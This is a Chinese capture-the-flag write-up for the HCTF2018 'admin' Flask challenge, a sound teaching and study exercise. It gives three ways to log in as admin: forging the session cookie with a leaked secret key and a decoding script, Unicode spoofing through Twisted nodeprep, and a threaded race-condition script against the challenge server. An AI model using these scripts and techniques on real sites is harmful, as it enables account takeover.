zoukankan      html  css  js  c++  java
  • HCTF2018-admin

    记录一道比较有意思的题目,对于萌新来说能学到很多东西orz。。
    三种解法:
    1:
    flask session 伪造
    2:
    unicode欺骗
    3:
    条件竞争
    注册账户查看源码:
    发现提示,根据提示和题目名估计要让我们登录admin用户就可以得到flag。

    在change password页面查看源码,发现提供了题目的源码地址

    发现是用flask写的,我们就直接去看一下路由,
    打开route.py,看一下index的注册函数代码

    @app.route('/')
    @app.route('/index')def index():
        return render_template('index.html', title = 'hctf')
        
    

    发现index注册函数没做什么处理,直接返回index.html渲染模版,于是我们看一下templates/index.html代码

    {% include('header.html') %}
    {% if current_user.is_authenticated %}
    <h1 class="nav">Hello {{ session['name'] }}</h1>
    {% endif %}
    {% if current_user.is_authenticated and session['name'] == 'admin' %}
    <h1 class="nav">hctf{xxxxxxxxx}</h1>
    {% endif %}
    <!-- you are not admin --><h1 class="nav">Welcome to hctf</h1>
    
    {% include('footer.html') %}
    

    发现真的是要登录成admin才能得到flag。于是继续看向route.py文件,看看login和change password的注册函数处理代码是怎么写的。route.py部分函数代码如下

    @app.route('/register', methods = ['GET', 'POST'])def register():
    
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = RegisterForm()
        if request.method == 'POST':
            name = strlower(form.username.data)
            if session.get('image').lower() != form.verify_code.data.lower():
                flash('Wrong verify code.')
                return render_template('register.html', title = 'register', form=form)
            if User.query.filter_by(username = name).first():
                flash('The username has been registered')
                return redirect(url_for('register'))
            user = User(username=name)
            user.set_password(form.password.data)
            db.session.add(user)
            db.session.commit()
            flash('register successful')
            return redirect(url_for('login'))
        return render_template('register.html', title = 'register', form = form)
    
    @app.route('/login', methods = ['GET', 'POST'])def login():
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = LoginForm()
        if request.method == 'POST':
            name = strlower(form.username.data)
            session['name'] = name
            user = User.query.filter_by(username=name).first()
            if user is None or not user.check_password(form.password.data):
                flash('Invalid username or password')
                return redirect(url_for('login'))
            login_user(user, remember=form.remember_me.data)
            return redirect(url_for('index'))
        return render_template('login.html', title = 'login', form = form)
    
    @app.route('/logout')def logout():
        logout_user()
        return redirect('/index')
    
    @app.route('/change', methods = ['GET', 'POST'])def change():
        if not current_user.is_authenticated:
            return redirect(url_for('login'))
        form = NewpasswordForm()
        if request.method == 'POST':
            name = strlower(session['name'])
            user = User.query.filter_by(username=name).first()
            user.set_password(form.newpassword.data)
            db.session.commit()
            flash('change successful')
            return redirect(url_for('index'))
        return render_template('change.html', title = 'change', form = form)
    
    
    

    开始代码审计:

    解法一 —— flask session 伪造

    flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

    我们首先对我们随便注册的账号SESSION进行解密 python exp.py ""

    解密脚本如下:

    #!/usr/bin/env python3
    import sys
    import zlib
    from base64 import b64decode
    from flask.sessions import session_json_serializer
    from itsdangerous import base64_decode
    
    def decryption(payload):
        payload, sig = payload.rsplit(b'.', 1)
        payload, timestamp = payload.rsplit(b'.', 1)
    
        decompress = False
        if payload.startswith(b'.'):
            payload = payload[1:]
            decompress = True
    
        try:
            payload = base64_decode(payload)
        except Exception as e:
            raise Exception('Could not base64 decode the payload because of '
                             'an exception')
    
        if decompress:
            try:
                payload = zlib.decompress(payload)
            except Exception as e:
                raise Exception('Could not zlib decompress the payload before '
                                 'decoding the payload')
    
        return session_json_serializer.loads(payload)
    
    if __name__ == '__main__':
        print(decryption(sys.argv[1].encode()))
    

    我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY,在github源码里找找,可以在config.py里发现下面代码

    import os
    
    class Config(object):
        SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
        SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
        SQLALCHEMY_TRACK_MODIFICATIONS = True
    

    估计ckj123就是SECRET_KEY,所以session伪造这条路可行,于是到github上面找找看有没有flask session加密的脚本。

    脚本有解密、加密两种功能,具体用法如下
    解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
    加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式解密功能演示如下,把我们登录成功页面的cookie的session复制下来,.eJw9kE-LwjAUxL_K8s4e0j_iInjYJVoqvISWtJJciltrmzRxoSp1K373zbrgbWDe-zEzd6iOQ3PuYHkZrs0MKn2A5R3evmAJiuZOmvWIorPosoiJUiMtezmlN2aYlVNBGE3nXKQToxlhpiAqKX7QbA2ag5GiM5y2AROSYIgB2xU3KbJIOtVh8qeLkdE6lqKeM7HVuFvHXFj_s_b83Miw1Mp01t8RpG0kd9nE6UZzWoQYMp9l2ythnRTpCh4zqM_Dsbp8983pVYFTjDHMPQZHaTZGJcrrT4eiHeXUEjS9r9WHPCktTm3g40bsY_XEabdvmxcpNxgfxn_ntHfeAKeHfW2bxeIdZnA9N8NzPAgIPH4BSzZuKg.XPPM0g.R-SQaZ-c92TXQB_37gFu8JabVUs,然后放进脚本参数位置,如下图。

    将session替换刷新页面即可获得flag

    解法二 —— Unicode欺骗

    这个解法好像才是这个题目想要考查的点,我们可以发现,不管是login、register还是change页面,只要是关于session['name']的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,可能有点猫腻,于是找到strlower函数的定义

    def strlower(username):
        username = nodeprep.prepare(username)
        return username
    
    
    

    这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞,
    于是搜索一下nodeprep.prepare,找到一篇unicode安全的文章,
    https://paper.tuisec.win/detail/a9ad1440249d95b
    这里原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。
    所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。

    解法三 —— 条件竞争

    仔细观察源码,可以发现login函数和change函数都在没有完全check身份的情况下,执行了session有关的赋值

    我们可以这样设想,一个进程以正常账号一直依次进行登录、改密码操作,另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时,进程2进行到登录操作,这个时候进程1需要从session中取出name,而进程2此时把session['name']改成了admin。所以就可以编写脚本进行条件竞争,条件竞争结束的标志为进程2登录操作成功,即重定向到/index。
    脚本如下:

    import threading
    import requests
    import time
    
    def login(s,username,password):
        data = {
            'username':username,
            'password':password,
            'submit':''
        }
        r  = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
        return r
    
    def logout(s):
        s.get('http://13x.xx7.xx.xxx:9999/logout')
    
    def change_pwd(s,newpass):
        data = {
            'newpassword':newpass
        }
        s.post('http://13x.xx7.xx.xxx:9999/change',data=data)
    
    def func1(s):
        try:
            login(s,'Miracle778','Miracle778')
            change_pwd(s,'Miracle778')
        except Exception:
            pass
    
    def func2(s):
        try:
            logout(s)
            r = login(s,'admin','Miracle778')
            if '<a href="/index">/index</a>' in r.text:
                print(r.text)
                exit(0)
        except Exception:
            pass
    
    for i in range(10000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1,args=(s,))
        t2 = threading.Thread(target=func2,args=(s,))
        t2.start()
        t1.start()
    

    参考链接:

    https://www.jianshu.com/p/f92311564ad0

  • 相关阅读:
    IP是什么 DNS 域名与IP有什么不同
    空间、域名与IP之间的关系?
    杨学明老师为深圳某上市企业提供《软件测试技术》内训服务!
    共创力与某上市企业合作的第三期咨询项目正式启动!
    2017.7.28~29,热烈庆祝杨学明老师《研发项目管理》杭州公开课成功举办!
    2017年7月22日~23日,深圳市共创力为某上市企业提供整机设计工程内训服务!
    深圳市共创力咨询第二期“总裁直通车”成功举办!
    阿里巴巴产品需求工程师的三个层次
    共创力咨询推出“总裁直通车”服务!
    2017年7月7日~8日,杨学明老师为深圳蛇口某企业内训课程服务!
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/11861820.html
Copyright © 2011-2022 走看看